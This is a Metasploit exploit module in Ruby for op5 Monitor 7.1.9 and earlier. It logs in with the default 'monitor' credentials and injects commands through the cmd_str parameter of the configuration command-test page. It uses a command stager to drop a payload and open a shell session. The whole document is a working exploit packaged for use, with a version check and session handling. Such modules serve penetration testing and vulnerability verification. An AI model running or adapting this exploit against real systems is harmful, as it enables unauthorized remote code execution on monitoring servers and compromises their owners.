op5 7.1.9 Configuration Command Execution

`##  
## This module requires Metasploit: http://metasploit.com/download  
## Current source: https://github.com/rapid7/metasploit-framework  
###  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
Rank = ExcellentRanking  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'op5 v7.1.9 Configuration Command Execution',  
'Description' => %q(  
op5 an open source network monitoring software.  
The configuration page in version 7.1.9 and below  
allows the ability to test a system command, which  
can be abused to run arbitrary code as an unpriv user.  
),  
'Author' =>  
[  
'h00die <[email protected]>', # module  
'hyp3rlinx' # discovery  
],  
'References' =>  
[  
[ 'EDB', '39676' ],  
[ 'URL', 'https://www.op5.com/blog/news/op5-monitor-7-2-0-release-notes/']  
],  
'License' => MSF_LICENSE,  
'Platform' => ['linux', 'unix'],  
'Privileged' => false,  
'DefaultOptions' => { 'SSL' => true },  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 08 2016'  
)  
)  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('USERNAME', [ true, 'User to login with', 'monitor']),  
OptString.new('PASSWORD', [ false, 'Password to login with', 'monitor']),  
OptString.new('TARGETURI', [ true, 'The path to the application', '/'])  
], self.class  
)  
end  
  
def check  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
/Version: (?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+\|/ =~ res.body  
  
if version && Gem::Version.new(version) <= Gem::Version.new('7.1.9')  
vprint_good("Version Detected: #{version}")  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
  
def exploit  
execute_cmdstager(  
:flavor => :echo  
)  
end  
  
def execute_command(cmd, opts)  
begin  
# To manually view the vuln page, click Manage > Configure > Commands.  
# Click the "Test this command" button to display the form we abuse.  
  
# login  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'monitor/index.php/auth/login'),  
'method' => 'POST',  
'vars_get' =>  
{  
'uri' => 'tac/index'  
},  
'vars_post' =>  
{  
'csrf_token' => '',  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 302  
cookie = res.get_cookies  
# exploit  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'monitor/op5/nacoma/command_test.php'),  
'method' => 'GET',  
'cookie' => cookie,  
'vars_get' =>  
{  
'cmd_str' => cmd  
}  
)  
  
# success means we hang our session, and wont get back a response  
if res  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Credentials need additional privileges") if res.body =~ /Access Denied/  
end  
  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
  
def on_new_session(session)  
super  
session.shell_command_token('setsid $SHELL')  
end  
end  
`